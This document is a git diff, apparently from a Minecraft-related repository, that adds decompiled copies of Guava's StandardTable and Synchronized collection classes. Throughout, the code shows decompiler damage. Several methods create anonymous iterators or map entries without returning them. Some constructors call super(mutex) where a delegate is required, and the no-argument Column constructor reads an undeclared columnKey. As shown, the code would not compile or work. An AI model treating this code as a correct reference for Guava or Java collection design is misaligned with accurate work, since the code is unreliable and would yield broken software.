+    
+
+
+    Map<C, V> computeBackingRowMap()
+    {
+      return (Map)backingMap.get(rowKey);
+    }
+    
+    void maintainEmptyInvariant()
+    {
+      if ((backingRowMap() != null) && (backingRowMap.isEmpty())) {
+        backingMap.remove(rowKey);
+        backingRowMap = null;
+      }
+    }
+    
+    public boolean containsKey(Object key)
+    {
+      Map<C, V> backingRowMap = backingRowMap();
+      return (key != null) && (backingRowMap != null) && (Maps.safeContainsKey(backingRowMap, key));
+    }
+    
+
+    public V get(Object key)
+    {
+      Map<C, V> backingRowMap = backingRowMap();
+      return (key != null) && (backingRowMap != null) ? Maps.safeGet(backingRowMap, key) : null;
+    }
+    
+
+
+    public V put(C key, V value)
+    {
+      Preconditions.checkNotNull(key);
+      Preconditions.checkNotNull(value);
+      if ((backingRowMap != null) && (!backingRowMap.isEmpty())) {
+        return backingRowMap.put(key, value);
+      }
+      return put(rowKey, key, value);
+    }
+    
+    public V remove(Object key)
+    {
+      Map<C, V> backingRowMap = backingRowMap();
+      if (backingRowMap == null) {
+        return null;
+      }
+      V result = Maps.safeRemove(backingRowMap, key);
+      maintainEmptyInvariant();
+      return result;
+    }
+    
+    public void clear()
+    {
+      Map<C, V> backingRowMap = backingRowMap();
+      if (backingRowMap != null) {
+        backingRowMap.clear();
+      }
+      maintainEmptyInvariant();
+    }
+    
+    protected Set<Map.Entry<C, V>> createEntrySet()
+    {
+      return new RowEntrySet(null);
+    }
+    
+    private final class RowEntrySet extends Maps.EntrySet<C, V> {
+      private RowEntrySet() {}
+      
+      Map<C, V> map() { return StandardTable.Row.this; }
+      
+
+      public int size()
+      {
+        Map<C, V> map = backingRowMap();
+        return map == null ? 0 : map.size();
+      }
+      
+      public Iterator<Map.Entry<C, V>> iterator()
+      {
+        Map<C, V> map = backingRowMap();
+        if (map == null) {
+          return Iterators.emptyModifiableIterator();
+        }
+        final Iterator<Map.Entry<C, V>> iterator = map.entrySet().iterator();
+        new Iterator()
+        {
+          public boolean hasNext() { return iterator.hasNext(); }
+          
+          public Map.Entry<C, V> next() {
+            final Map.Entry<C, V> entry = (Map.Entry)iterator.next();
+            new ForwardingMapEntry() {
+              protected Map.Entry<C, V> delegate() {
+                return entry;
+              }
+              
+              public V setValue(V value) { return super.setValue(Preconditions.checkNotNull(value)); }
+              
+
+              public boolean equals(Object object)
+              {
+                return standardEquals(object);
+              }
+            };
+          }
+          
+          public void remove()
+          {
+            iterator.remove();
+            maintainEmptyInvariant();
+          }
+        };
+      }
+    }
+  }
+  
+
+
+
+
+
+  public Map<R, V> column(C columnKey)
+  {
+    return new Column(columnKey);
+  }
+  
+  private class Column extends Maps.ImprovedAbstractMap<R, V> {
+    final C columnKey;
+    
+    Column() {
+      this.columnKey = Preconditions.checkNotNull(columnKey);
+    }
+    
+    public V put(R key, V value) {
+      return put(key, columnKey, value);
+    }
+    
+    public V get(Object key) {
+      return get(key, columnKey);
+    }
+    
+    public boolean containsKey(Object key) {
+      return contains(key, columnKey);
+    }
+    
+    public V remove(Object key) {
+      return remove(key, columnKey);
+    }
+    
+
+
+
+    boolean removeFromColumnIf(Predicate<? super Map.Entry<R, V>> predicate)
+    {
+      boolean changed = false;
+      Iterator<Map.Entry<R, Map<C, V>>> iterator = backingMap.entrySet().iterator();
+      
+      while (iterator.hasNext()) {
+        Map.Entry<R, Map<C, V>> entry = (Map.Entry)iterator.next();
+        Map<C, V> map = (Map)entry.getValue();
+        V value = map.get(columnKey);
+        if ((value != null) && (predicate.apply(Maps.immutableEntry(entry.getKey(), value))))
+        {
+          map.remove(columnKey);
+          changed = true;
+          if (map.isEmpty()) {
+            iterator.remove();
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    Set<Map.Entry<R, V>> createEntrySet() { return new EntrySet(null); }
+    
+    private class EntrySet extends Sets.ImprovedAbstractSet<Map.Entry<R, V>> {
+      private EntrySet() {}
+      
+      public Iterator<Map.Entry<R, V>> iterator() { return new StandardTable.Column.EntrySetIterator(StandardTable.Column.this, null); }
+      
+      public int size()
+      {
+        int size = 0;
+        for (Map<C, V> map : backingMap.values()) {
+          if (map.containsKey(columnKey)) {
+            size++;
+          }
+        }
+        return size;
+      }
+      
+      public boolean isEmpty() {
+        return !containsColumn(columnKey);
+      }
+      
+      public void clear() {
+        removeFromColumnIf(Predicates.alwaysTrue());
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Map.Entry<?, ?> entry = (Map.Entry)o;
+          return StandardTable.this.containsMapping(entry.getKey(), columnKey, entry.getValue());
+        }
+        return false;
+      }
+      
+      public boolean remove(Object obj) {
+        if ((obj instanceof Map.Entry)) {
+          Map.Entry<?, ?> entry = (Map.Entry)obj;
+          return StandardTable.this.removeMapping(entry.getKey(), columnKey, entry.getValue());
+        }
+        return false;
+      }
+      
+
+      public boolean retainAll(Collection<?> c) { return removeFromColumnIf(Predicates.not(Predicates.in(c))); }
+    }
+    
+    private class EntrySetIterator extends AbstractIterator<Map.Entry<R, V>> { private EntrySetIterator() {}
+      
+      final Iterator<Map.Entry<R, Map<C, V>>> iterator = backingMap.entrySet().iterator();
+      
+      protected Map.Entry<R, V> computeNext() {
+        while (iterator.hasNext()) {
+          final Map.Entry<R, Map<C, V>> entry = (Map.Entry)iterator.next();
+          if (((Map)entry.getValue()).containsKey(columnKey)) {
+            new AbstractMapEntry() {
+              public R getKey() {
+                return entry.getKey();
+              }
+              
+              public V getValue() { return ((Map)entry.getValue()).get(columnKey); }
+              
+              public V setValue(V value) {
+                return ((Map)entry.getValue()).put(columnKey, Preconditions.checkNotNull(value));
+              }
+            };
+          }
+        }
+        return (Map.Entry)endOfData();
+      }
+    }
+    
+    Set<R> createKeySet() {
+      return new KeySet();
+    }
+    
+    private class KeySet extends Maps.KeySet<R, V> {
+      KeySet() {
+        super();
+      }
+      
+      public boolean contains(Object obj) {
+        return contains(obj, columnKey);
+      }
+      
+      public boolean remove(Object obj) {
+        return remove(obj, columnKey) != null;
+      }
+      
+      public boolean retainAll(Collection<?> c) {
+        return removeFromColumnIf(Maps.keyPredicateOnEntries(Predicates.not(Predicates.in(c))));
+      }
+    }
+    
+    Collection<V> createValues()
+    {
+      return new Values();
+    }
+    
+    private class Values extends Maps.Values<R, V> {
+      Values() {
+        super();
+      }
+      
+      public boolean remove(Object obj) {
+        return (obj != null) && (removeFromColumnIf(Maps.valuePredicateOnEntries(Predicates.equalTo(obj))));
+      }
+      
+      public boolean removeAll(Collection<?> c) {
+        return removeFromColumnIf(Maps.valuePredicateOnEntries(Predicates.in(c)));
+      }
+      
+      public boolean retainAll(Collection<?> c) {
+        return removeFromColumnIf(Maps.valuePredicateOnEntries(Predicates.not(Predicates.in(c))));
+      }
+    }
+  }
+  
+  public Set<R> rowKeySet() {
+    return rowMap().keySet();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public Set<C> columnKeySet()
+  {
+    Set<C> result = columnKeySet;
+    return result == null ? (this.columnKeySet = new ColumnKeySet(null)) : result;
+  }
+  
+  private class ColumnKeySet extends StandardTable<R, C, V>.TableSet<C> { private ColumnKeySet() { super(null); }
+    
+    public Iterator<C> iterator() { return createColumnKeyIterator(); }
+    
+    public int size()
+    {
+      return Iterators.size(iterator());
+    }
+    
+    public boolean remove(Object obj) {
+      if (obj == null) {
+        return false;
+      }
+      boolean changed = false;
+      Iterator<Map<C, V>> iterator = backingMap.values().iterator();
+      while (iterator.hasNext()) {
+        Map<C, V> map = (Map)iterator.next();
+        if (map.keySet().remove(obj)) {
+          changed = true;
+          if (map.isEmpty()) {
+            iterator.remove();
+          }
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(Collection<?> c) {
+      Preconditions.checkNotNull(c);
+      boolean changed = false;
+      Iterator<Map<C, V>> iterator = backingMap.values().iterator();
+      while (iterator.hasNext()) {
+        Map<C, V> map = (Map)iterator.next();
+        
+
+        if (Iterators.removeAll(map.keySet().iterator(), c)) {
+          changed = true;
+          if (map.isEmpty()) {
+            iterator.remove();
+          }
+        }
+      }
+      return changed;
+    }
+    
+    public boolean retainAll(Collection<?> c) {
+      Preconditions.checkNotNull(c);
+      boolean changed = false;
+      Iterator<Map<C, V>> iterator = backingMap.values().iterator();
+      while (iterator.hasNext()) {
+        Map<C, V> map = (Map)iterator.next();
+        if (map.keySet().retainAll(c)) {
+          changed = true;
+          if (map.isEmpty()) {
+            iterator.remove();
+          }
+        }
+      }
+      return changed;
+    }
+    
+    public boolean contains(Object obj) {
+      return containsColumn(obj);
+    }
+  }
+  
+
+
+
+  Iterator<C> createColumnKeyIterator()
+  {
+    return new ColumnKeyIterator(null);
+  }
+  
+  private class ColumnKeyIterator
+    extends AbstractIterator<C>
+  {
+    final Map<C, V> seen = (Map)factory.get();
+    final Iterator<Map<C, V>> mapIterator = backingMap.values().iterator();
+    Iterator<Map.Entry<C, V>> entryIterator = Iterators.emptyIterator();
+    
+    private ColumnKeyIterator() {}
+    
+    protected C computeNext() { for (;;) { if (entryIterator.hasNext()) {
+          Map.Entry<C, V> entry = (Map.Entry)entryIterator.next();
+          if (!seen.containsKey(entry.getKey())) {
+            seen.put(entry.getKey(), entry.getValue());
+            return entry.getKey();
+          }
+        } else { if (!mapIterator.hasNext()) break;
+          entryIterator = ((Map)mapIterator.next()).entrySet().iterator();
+        } }
+      return endOfData();
+    }
+  }
+  
+
+
+
+
+
+
+
+  public Collection<V> values()
+  {
+    return super.values();
+  }
+  
+
+  public Map<R, Map<C, V>> rowMap()
+  {
+    Map<R, Map<C, V>> result = rowMap;
+    return result == null ? (this.rowMap = createRowMap()) : result;
+  }
+  
+
+  Map<R, Map<C, V>> createRowMap() { return new RowMap(); }
+  
+  class RowMap extends Maps.ImprovedAbstractMap<R, Map<C, V>> {
+    RowMap() {}
+    
+    public boolean containsKey(Object key) { return containsRow(key); }
+    
+
+
+    public Map<C, V> get(Object key)
+    {
+      return containsRow(key) ? row(key) : null;
+    }
+    
+    public Map<C, V> remove(Object key) {
+      return key == null ? null : (Map)backingMap.remove(key);
+    }
+    
+
+    protected Set<Map.Entry<R, Map<C, V>>> createEntrySet() { return new EntrySet(); }
+    
+    class EntrySet extends StandardTable<R, C, V>.TableSet<Map.Entry<R, Map<C, V>>> {
+      EntrySet() { super(null); }
+      
+      public Iterator<Map.Entry<R, Map<C, V>>> iterator() { Maps.asMapEntryIterator(backingMap.keySet(), new Function()
+        {
+          public Map<C, V> apply(R rowKey) {
+            return row(rowKey);
+          }
+        }); }
+      
+      public int size()
+      {
+        return backingMap.size();
+      }
+      
+      public boolean contains(Object obj) {
+        if ((obj instanceof Map.Entry)) {
+          Map.Entry<?, ?> entry = (Map.Entry)obj;
+          return (entry.getKey() != null) && ((entry.getValue() instanceof Map)) && (Collections2.safeContains(backingMap.entrySet(), entry));
+        }
+        
+
+        return false;
+      }
+      
+      public boolean remove(Object obj) {
+        if ((obj instanceof Map.Entry)) {
+          Map.Entry<?, ?> entry = (Map.Entry)obj;
+          return (entry.getKey() != null) && ((entry.getValue() instanceof Map)) && (backingMap.entrySet().remove(entry));
+        }
+        
+
+        return false;
+      }
+    }
+  }
+  
+
+  public Map<C, Map<R, V>> columnMap()
+  {
+    StandardTable<R, C, V>.ColumnMap result = columnMap;
+    return result == null ? (this.columnMap = new ColumnMap(null)) : result;
+  }
+  
+  private class ColumnMap extends Maps.ImprovedAbstractMap<C, Map<R, V>>
+  {
+    private ColumnMap() {}
+    
+    public Map<R, V> get(Object key) {
+      return containsColumn(key) ? column(key) : null;
+    }
+    
+    public boolean containsKey(Object key) {
+      return containsColumn(key);
+    }
+    
+    public Map<R, V> remove(Object key) {
+      return containsColumn(key) ? StandardTable.this.removeColumn(key) : null;
+    }
+    
+    public Set<Map.Entry<C, Map<R, V>>> createEntrySet() {
+      return new ColumnMapEntrySet();
+    }
+    
+    public Set<C> keySet() {
+      return columnKeySet();
+    }
+    
+
+    Collection<Map<R, V>> createValues() { return new ColumnMapValues(); }
+    
+    class ColumnMapEntrySet extends StandardTable<R, C, V>.TableSet<Map.Entry<C, Map<R, V>>> {
+      ColumnMapEntrySet() { super(null); }
+      
+      public Iterator<Map.Entry<C, Map<R, V>>> iterator() { Maps.asMapEntryIterator(columnKeySet(), new Function()
+        {
+          public Map<R, V> apply(C columnKey) {
+            return column(columnKey);
+          }
+        }); }
+      
+      public int size()
+      {
+        return columnKeySet().size();
+      }
+      
+      public boolean contains(Object obj) {
+        if ((obj instanceof Map.Entry)) {
+          Map.Entry<?, ?> entry = (Map.Entry)obj;
+          if (containsColumn(entry.getKey()))
+          {
+
+
+            C columnKey = entry.getKey();
+            return get(columnKey).equals(entry.getValue());
+          }
+        }
+        return false;
+      }
+      
+      public boolean remove(Object obj) {
+        if (contains(obj)) {
+          Map.Entry<?, ?> entry = (Map.Entry)obj;
+          StandardTable.this.removeColumn(entry.getKey());
+          return true;
+        }
+        return false;
+      }
+      
+
+
+
+
+
+      public boolean removeAll(Collection<?> c)
+      {
+        Preconditions.checkNotNull(c);
+        return Sets.removeAllImpl(this, c.iterator());
+      }
+      
+      public boolean retainAll(Collection<?> c) {
+        Preconditions.checkNotNull(c);
+        boolean changed = false;
+        for (C columnKey : Lists.newArrayList(columnKeySet().iterator())) {
+          if (!c.contains(Maps.immutableEntry(columnKey, column(columnKey)))) {
+            StandardTable.this.removeColumn(columnKey);
+            changed = true;
+          }
+        }
+        return changed;
+      }
+    }
+    
+    private class ColumnMapValues extends Maps.Values<C, Map<R, V>> {
+      ColumnMapValues() {
+        super();
+      }
+      
+      public boolean remove(Object obj) {
+        for (Map.Entry<C, Map<R, V>> entry : entrySet()) {
+          if (((Map)entry.getValue()).equals(obj)) {
+            StandardTable.this.removeColumn(entry.getKey());
+            return true;
+          }
+        }
+        return false;
+      }
+      
+      public boolean removeAll(Collection<?> c) {
+        Preconditions.checkNotNull(c);
+        boolean changed = false;
+        for (C columnKey : Lists.newArrayList(columnKeySet().iterator())) {
+          if (c.contains(column(columnKey))) {
+            StandardTable.this.removeColumn(columnKey);
+            changed = true;
+          }
+        }
+        return changed;
+      }
+      
+      public boolean retainAll(Collection<?> c) {
+        Preconditions.checkNotNull(c);
+        boolean changed = false;
+        for (C columnKey : Lists.newArrayList(columnKeySet().iterator())) {
+          if (!c.contains(column(columnKey))) {
+            StandardTable.this.removeColumn(columnKey);
+            changed = true;
+          }
+        }
+        return changed;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/Synchronized.java b/src/minecraft/com/google/common/collect/Synchronized.java
new file mode 100644
index 0000000..6c9133d
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Synchronized.java
@@ -0,0 +1,1759 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import java.io.IOException;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.Deque;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NavigableMap;
+import java.util.NavigableSet;
+import java.util.Queue;
+import java.util.RandomAccess;
+import java.util.Set;
+import java.util.SortedMap;
+import java.util.SortedSet;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+final class Synchronized
+{
+  private Synchronized() {}
+  
+  static class SynchronizedObject
+    implements Serializable
+  {
+    final Object delegate;
+    final Object mutex;
+    @GwtIncompatible("not needed in emulated source")
+    private static final long serialVersionUID = 0L;
+    
+    SynchronizedObject(Object delegate, @Nullable Object mutex)
+    {
+      this.delegate = Preconditions.checkNotNull(delegate);
+      this.mutex = (mutex == null ? this : mutex);
+    }
+    
+    Object delegate() {
+      return delegate;
+    }
+    
+
+    public String toString()
+    {
+      synchronized (mutex) {
+        return delegate.toString();
+      }
+    }
+    
+
+
+
+    @GwtIncompatible("java.io.ObjectOutputStream")
+    private void writeObject(ObjectOutputStream stream)
+      throws IOException
+    {
+      synchronized (mutex) {
+        stream.defaultWriteObject();
+      }
+    }
+  }
+  
+
+
+
+  private static <E> Collection<E> collection(Collection<E> collection, @Nullable Object mutex)
+  {
+    return new SynchronizedCollection(collection, mutex, null);
+  }
+  
+  @VisibleForTesting
+  static class SynchronizedCollection<E> extends Synchronized.SynchronizedObject implements Collection<E> {
+    private static final long serialVersionUID = 0L;
+    
+    private SynchronizedCollection(Collection<E> delegate, @Nullable Object mutex) { super(mutex); }
+    
+
+    Collection<E> delegate()
+    {
+      return (Collection)super.delegate();
+    }
+    
+    public boolean add(E e)
+    {
+      synchronized (mutex) {
+        return delegate().add(e);
+      }
+    }
+    
+    public boolean addAll(Collection<? extends E> c)
+    {
+      synchronized (mutex) {
+        return delegate().addAll(c);
+      }
+    }
+    
+    public void clear()
+    {
+      synchronized (mutex) {
+        delegate().clear();
+      }
+    }
+    
+    public boolean contains(Object o)
+    {
+      synchronized (mutex) {
+        return delegate().contains(o);
+      }
+    }
+    
+    public boolean containsAll(Collection<?> c)
+    {
+      synchronized (mutex) {
+        return delegate().containsAll(c);
+      }
+    }
+    
+    public boolean isEmpty()
+    {
+      synchronized (mutex) {
+        return delegate().isEmpty();
+      }
+    }
+    
+    public Iterator<E> iterator()
+    {
+      return delegate().iterator();
+    }
+    
+    public boolean remove(Object o)
+    {
+      synchronized (mutex) {
+        return delegate().remove(o);
+      }
+    }
+    
+    public boolean removeAll(Collection<?> c)
+    {
+      synchronized (mutex) {
+        return delegate().removeAll(c);
+      }
+    }
+    
+    public boolean retainAll(Collection<?> c)
+    {
+      synchronized (mutex) {
+        return delegate().retainAll(c);
+      }
+    }
+    
+    public int size()
+    {
+      synchronized (mutex) {
+        return delegate().size();
+      }
+    }
+    
+    public Object[] toArray()
+    {
+      synchronized (mutex) {
+        return delegate().toArray();
+      }
+    }
+    
+    public <T> T[] toArray(T[] a)
+    {
+      synchronized (mutex) {
+        return delegate().toArray(a);
+      }
+    }
+  }
+  
+  @VisibleForTesting
+  static <E> Set<E> set(Set<E> set, @Nullable Object mutex)
+  {
+    return new SynchronizedSet(set, mutex);
+  }
+  
+  static class SynchronizedSet<E> extends Synchronized.SynchronizedCollection<E> implements Set<E> {
+    private static final long serialVersionUID = 0L;
+    
+    SynchronizedSet(Set<E> delegate, @Nullable Object mutex) {
+      super(mutex, null);
+    }
+    
+    Set<E> delegate() {
+      return (Set)super.delegate();
+    }
+    
+    public boolean equals(Object o) {
+      if (o == this) {
+        return true;
+      }
+      synchronized (mutex) {
+        return delegate().equals(o);
+      }
+    }
+    
+    public int hashCode() {
+      synchronized (mutex) {
+        return delegate().hashCode();
+      }
+    }
+  }
+  
+
+
+  private static <E> SortedSet<E> sortedSet(SortedSet<E> set, @Nullable Object mutex)
+  {
+    return new SynchronizedSortedSet(set, mutex);
+  }
+  
+  static class SynchronizedSortedSet<E> extends Synchronized.SynchronizedSet<E> implements SortedSet<E> {
+    private static final long serialVersionUID = 0L;
+    
+    SynchronizedSortedSet(SortedSet<E> delegate, @Nullable Object mutex) { super(mutex); }
+    
+    SortedSet<E> delegate()
+    {
+      return (SortedSet)super.delegate();
+    }
+    
+    public Comparator<? super E> comparator()
+    {
+      synchronized (mutex) {
+        return delegate().comparator();
+      }
+    }
+    
+    public SortedSet<E> subSet(E fromElement, E toElement)
+    {
+      synchronized (mutex) {
+        return Synchronized.sortedSet(delegate().subSet(fromElement, toElement), mutex);
+      }
+    }
+    
+    public SortedSet<E> headSet(E toElement)
+    {
+      synchronized (mutex) {
+        return Synchronized.sortedSet(delegate().headSet(toElement), mutex);
+      }
+    }
+    
+    public SortedSet<E> tailSet(E fromElement)
+    {
+      synchronized (mutex) {
+        return Synchronized.sortedSet(delegate().tailSet(fromElement), mutex);
+      }
+    }
+    
+    public E first()
+    {
+      synchronized (mutex) {
+        return delegate().first();
+      }
+    }
+    
+    public E last()
+    {
+      synchronized (mutex) {
+        return delegate().last();
+      }
+    }
+  }
+  
+
+  private static <E> List<E> list(List<E> list, @Nullable Object mutex)
+  {
+    return (list instanceof RandomAccess) ? new SynchronizedRandomAccessList(list, mutex) : new SynchronizedList(list, mutex);
+  }
+  
+  private static class SynchronizedList<E> extends Synchronized.SynchronizedCollection<E> implements List<E>
+  {
+    private static final long serialVersionUID = 0L;
+    
+    SynchronizedList(List<E> delegate, @Nullable Object mutex) {
+      super(mutex, null);
+    }
+    
+    List<E> delegate() {
+      return (List)super.delegate();
+    }
+    
+    public void add(int index, E element)
+    {
+      synchronized (mutex) {
+        delegate().add(index, element);
+      }
+    }
+    
+    public boolean addAll(int index, Collection<? extends E> c)
+    {
+      synchronized (mutex) {
+        return delegate().addAll(index, c);
+      }
+    }
+    
+    public E get(int index)
+    {
+      synchronized (mutex) {
+        return delegate().get(index);
+      }
+    }
+    
+    public int indexOf(Object o)
+    {
+      synchronized (mutex) {
+        return delegate().indexOf(o);
+      }
+    }
+    
+    public int lastIndexOf(Object o)
+    {
+      synchronized (mutex) {
+        return delegate().lastIndexOf(o);
+      }
+    }
+    
+    public ListIterator<E> listIterator()
+    {
+      return delegate().listIterator();
+    }
+    
+    public ListIterator<E> listIterator(int index)
+    {
+      return delegate().listIterator(index);
+    }
+    
+    public E remove(int index)
+    {
+      synchronized (mutex) {
+        return delegate().remove(index);
+      }
+    }
+    
+    public E set(int index, E element)
+    {
+      synchronized (mutex) {
+        return delegate().set(index, element);
+      }
+    }
+    
+    public List<E> subList(int fromIndex, int toIndex)
+    {
+      synchronized (mutex) {
+        return Synchronized.list(delegate().subList(fromIndex, toIndex), mutex);
+      }
+    }
+    
+    public boolean equals(Object o) {
+      if (o == this) {
+        return true;
+      }
+      synchronized (mutex) {
+        return delegate().equals(o);
+      }
+    }
+    
+    public int hashCode() {
+      synchronized (mutex) {
+        return delegate().hashCode();
+      }
+    }
+  }
+  
+  private static class SynchronizedRandomAccessList<E> extends Synchronized.SynchronizedList<E> implements RandomAccess
+  {
+    private static final long serialVersionUID = 0L;
+    
+    SynchronizedRandomAccessList(List<E> list, @Nullable Object mutex) {
+      super(mutex);
+    }
+  }
+  
+
+  static <E> Multiset<E> multiset(Multiset<E> multiset, @Nullable Object mutex)
+  {
+    if (((multiset instanceof SynchronizedMultiset)) || ((multiset instanceof ImmutableMultiset)))
+    {
+      return multiset;
+    }
+    return new SynchronizedMultiset(multiset, mutex);
+  }
+  
+  private static class SynchronizedMultiset<E> extends Synchronized.SynchronizedCollection<E> implements Multiset<E> {
+    transient Set<E> elementSet;
+    transient Set<Multiset.Entry<E>> entrySet;
+    private static final long serialVersionUID = 0L;
+    
+    SynchronizedMultiset(Multiset<E> delegate, @Nullable Object mutex) {
+      super(mutex, null);
+    }
+    
+    Multiset<E> delegate() {
+      return (Multiset)super.delegate();
+    }
+    
+    public int count(Object o)
+    {
+      synchronized (mutex) {
+        return delegate().count(o);
+      }
+    }
+    
+    public int add(E e, int n)
+    {
+      synchronized (mutex) {
+        return delegate().add(e, n);
+      }
+    }
+    
+    public int remove(Object o, int n)
+    {
+      synchronized (mutex) {
+        return delegate().remove(o, n);
+      }
+    }
+    
+    public int setCount(E element, int count)
+    {
+      synchronized (mutex) {
+        return delegate().setCount(element, count);
+      }
+    }
+    
+    public boolean setCount(E element, int oldCount, int newCount)
+    {
+      synchronized (mutex) {
+        return delegate().setCount(element, oldCount, newCount);
+      }
+    }
+    
+    public Set<E> elementSet()
+    {
+      synchronized (mutex) {
+        if (elementSet == null) {
+          elementSet = Synchronized.typePreservingSet(delegate().elementSet(), mutex);
+        }
+        return elementSet;
+      }
+    }
+    
+    public Set<Multiset.Entry<E>> entrySet()
+    {
+      synchronized (mutex) {
+        if (entrySet == null) {
+          entrySet = Synchronized.typePreservingSet(delegate().entrySet(), mutex);
+        }
+        return entrySet;
+      }
+    }
+    
+    public boolean equals(Object o) {
+      if (o == this) {
+        return true;
+      }
+      synchronized (mutex) {
+        return delegate().equals(o);
+      }
+    }
+    
+    public int hashCode() {
+      synchronized (mutex) {
+        return delegate().hashCode();
+      }
+    }
+  }
+  
+
+
+  static <K, V> Multimap<K, V> multimap(Multimap<K, V> multimap, @Nullable Object mutex)
+  {
+    if (((multimap instanceof SynchronizedMultimap)) || ((multimap instanceof ImmutableMultimap)))
+    {
+      return multimap;
+    }
+    return new SynchronizedMultimap(multimap, mutex);
+  }
+  
+  private static class SynchronizedMultimap<K, V> extends Synchronized.SynchronizedObject implements Multimap<K, V>
+  {
+    transient Set<K> keySet;
+    transient Collection<V> valuesCollection;
+    transient Collection<Map.Entry<K, V>> entries;
+    transient Map<K, Collection<V>> asMap;
+    transient Multiset<K> keys;
+    private static final long serialVersionUID = 0L;
+    
+    Multimap<K, V> delegate() {
+      return (Multimap)super.delegate();
+    }
+    
+    SynchronizedMultimap(Multimap<K, V> delegate, @Nullable Object mutex) {
+      super(mutex);
+    }
+    
+    public int size()
+    {
+      synchronized (mutex) {
+        return delegate().size();
+      }
+    }
+    
+    public boolean isEmpty()
+    {
+      synchronized (mutex) {
+        return delegate().isEmpty();
+      }
+    }
+    
+    public boolean containsKey(Object key)
+    {
+      synchronized (mutex) {
+        return delegate().containsKey(key);
+      }
+    }
+    
+    public boolean containsValue(Object value)
+    {
+      synchronized (mutex) {
+        return delegate().containsValue(value);
+      }
+    }
+    
+    public boolean containsEntry(Object key, Object value)
+    {
+      synchronized (mutex) {
+        return delegate().containsEntry(key, value);
+      }
+    }
+    
+    public Collection<V> get(K key)
+    {
+      synchronized (mutex) {
+        return Synchronized.typePreservingCollection(delegate().get(key), mutex);
+      }
+    }
+    
+    public boolean put(K key, V value)
+    {
+      synchronized (mutex) {
+        return delegate().put(key, value);
+      }
+    }
+    
+    public boolean putAll(K key, Iterable<? extends V> values)
+    {
+      synchronized (mutex) {
+        return delegate().putAll(key, values);
+      }
+    }
+    
+    public boolean putAll(Multimap<? extends K, ? extends V> multimap)
+    {
+      synchronized (mutex) {
+        return delegate().putAll(multimap);
+      }
+    }
+    
+    public Collection<V> replaceValues(K key, Iterable<? extends V> values)
+    {
+      synchronized (mutex) {
+        return delegate().replaceValues(key, values);
+      }
+    }
+    
+    public boolean remove(Object key, Object value)
+    {
+      synchronized (mutex) {
+        return delegate().remove(key, value);
+      }
+    }
+    
+    public Collection<V> removeAll(Object key)
+    {
+      synchronized (mutex) {
+        return delegate().removeAll(key);
+      }
+    }
+    
+    public void clear()
+    {
+      synchronized (mutex) {
+        delegate().clear();
+      }
+    }
+    
+    public Set<K> keySet()
+    {
+      synchronized (mutex) {
+        if (keySet == null) {
+          keySet = Synchronized.typePreservingSet(delegate().keySet(), mutex);
+        }
+        return keySet;
+      }
+    }
+    
+    public Collection<V> values()
+    {
+      synchronized (mutex) {
+        if (valuesCollection == null) {
+          valuesCollection = Synchronized.collection(delegate().values(), mutex);
+        }
+        return valuesCollection;
+      }
+    }
+    
+    public Collection<Map.Entry<K, V>> entries()
+    {
+      synchronized (mutex) {
+        if (entries == null) {
+          entries = Synchronized.typePreservingCollection(delegate().entries(), mutex);
+        }
+        return entries;
+      }
+    }
+    
+    public Map<K, Collection<V>> asMap()
+    {
+      synchronized (mutex) {
+        if (asMap == null) {
+          asMap = new Synchronized.SynchronizedAsMap(delegate().asMap(), mutex);
+        }
+        return asMap;
+      }
+    }
+    
+    public Multiset<K> keys()
+    {
+      synchronized (mutex) {
+        if (keys == null) {
+          keys = Synchronized.multiset(delegate().keys(), mutex);
+        }
+        return keys;
+      }
+    }
+    
+    public boolean equals(Object o) {
+      if (o == this) {
+        return true;
+      }
+      synchronized (mutex) {
+        return delegate().equals(o);
+      }
+    }
+    
+    public int hashCode() {
+      synchronized (mutex) {
+        return delegate().hashCode();
+      }
+    }
+  }
+  
+
+
+  static <K, V> ListMultimap<K, V> listMultimap(ListMultimap<K, V> multimap, @Nullable Object mutex)
+  {
+    if (((multimap instanceof SynchronizedListMultimap)) || ((multimap instanceof ImmutableListMultimap)))
+    {
+      return multimap;
+    }
+    return new SynchronizedListMultimap(multimap, mutex);
+  }
+  
+  private static class SynchronizedListMultimap<K, V> extends Synchronized.SynchronizedMultimap<K, V> implements ListMultimap<K, V> {
+    private static final long serialVersionUID = 0L;
+    
+    SynchronizedListMultimap(ListMultimap<K, V> delegate, @Nullable Object mutex) {
+      super(mutex);
+    }
+    
+    ListMultimap<K, V> delegate() { return (ListMultimap)super.delegate(); }
+    
+    public List<V> get(K key) {
+      synchronized (mutex) {
+        return Synchronized.list(delegate().get(key), mutex);
+      }
+    }
+    
+    public List<V> removeAll(Object key) { synchronized (mutex) {
+        return delegate().removeAll(key);
+      }
+    }
+    
+    public List<V> replaceValues(K key, Iterable<? extends V> values) {
+      synchronized (mutex) {
+        return delegate().replaceValues(key, values);
+      }
+    }
+  }
+  
+
+  static <K, V> SetMultimap<K, V> setMultimap(SetMultimap<K, V> multimap, @Nullable Object mutex)
+  {
+    if (((multimap instanceof SynchronizedSetMultimap)) || ((multimap instanceof ImmutableSetMultimap)))
+    {
+      return multimap;
+    }
+    return new SynchronizedSetMultimap(multimap, mutex);
+  }
+  
+  private static class SynchronizedSetMultimap<K, V> extends Synchronized.SynchronizedMultimap<K, V> implements SetMultimap<K, V>
+  {
+    transient Set<Map.Entry<K, V>> entrySet;
+    private static final long serialVersionUID = 0L;
+    
+    SynchronizedSetMultimap(SetMultimap<K, V> delegate, @Nullable Object mutex) {
+      super(mutex);
+    }
+    
+    SetMultimap<K, V> delegate() { return (SetMultimap)super.delegate(); }
+    
+    public Set<V> get(K key) {
+      synchronized (mutex) {
